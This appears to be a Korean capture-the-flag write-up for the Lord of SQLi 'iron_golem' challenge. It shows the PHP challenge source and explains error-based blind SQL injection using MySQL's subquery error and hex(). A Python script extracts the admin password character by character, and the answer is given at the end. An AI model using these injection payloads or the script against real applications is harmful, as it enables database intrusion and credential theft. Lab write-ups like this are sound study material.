728x90
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit(mysqli_error($db));
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
highlight_file(__FILE__);
?>
MySQL 문법에서 where 절에 행이 2개 이상 반환되면 다음과 같은 에러가 출력된다.
ERROR 1242 (21000): Subquery returns more than 1 row
이를 이용하여 쿼리문이 거짓일 경우엔 union select를 이용하여 2개 이상의 행을 반환하도록 하였다.
따라서 'Subquery'라는 단어가 웹페이지에 출력되지 않으면 쿼리문은 참임을 이용하였다.
코드는 다음과 같다. hex 함수를 사용하였는데 pw가 문자가 32개라서 찾는 시간이 오래 걸려서 연결이 끊기는 경우가 많다.
16진수를 반환하도록 하여 HEX라는 변수의 16진수 한자리 값들만 비교함으로써 탐색 시간을 단축시켰다.
참고로 아스키 코드에 해당하는 문자는 sql의 length 함수 결괏값은 1이다.
MySQL에서 hex 함수를 적용하면 16진수로 나타내어지는데 흔히 사용되는 문자, 숫자들은 16진수로 표현하면 두 자리가 된다.
ex) hex('a')=61, length(hex('a'))=2
따라서 length 함수 결과값은 2이다. 즉, 이것이 hex 함수를 사용하면 사용하기 전보다 length 반환값이 2배가 되는 이유다.
import requests
url='https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'
#64
def find_pw_len():
pw_len=1
while True:
r=requests.get(url+"?pw=' or id='admin' and if(length(hex(pw))={},1,(select 1 union select 2))%23".format(pw_len),cookies=cookie)
if 'Subquery' not in r.text:
return pw_len
else:
pw_len+=1
#06b5a6c16e8830475f983cc3a825ee9a
def find_pw():
pw_len=find_pw_len()
tmp=''
for i in range(1,pw_len+1):
for j in HEX:
r=requests.get(url+"?pw=' or id='admin' and if(substr(hex(pw),{},1)='{}',1,(select 1 union select 2))%23".format(i,j),cookies=cookie)
if 'Subquery' not in r.text:
tmp+=j
if len(tmp)==2:
print(chr(int(tmp,16)),end="")
tmp=''
break
find_pw()
답: ?pw=06b5a6c16e8830475f983cc3a825ee9a
728x90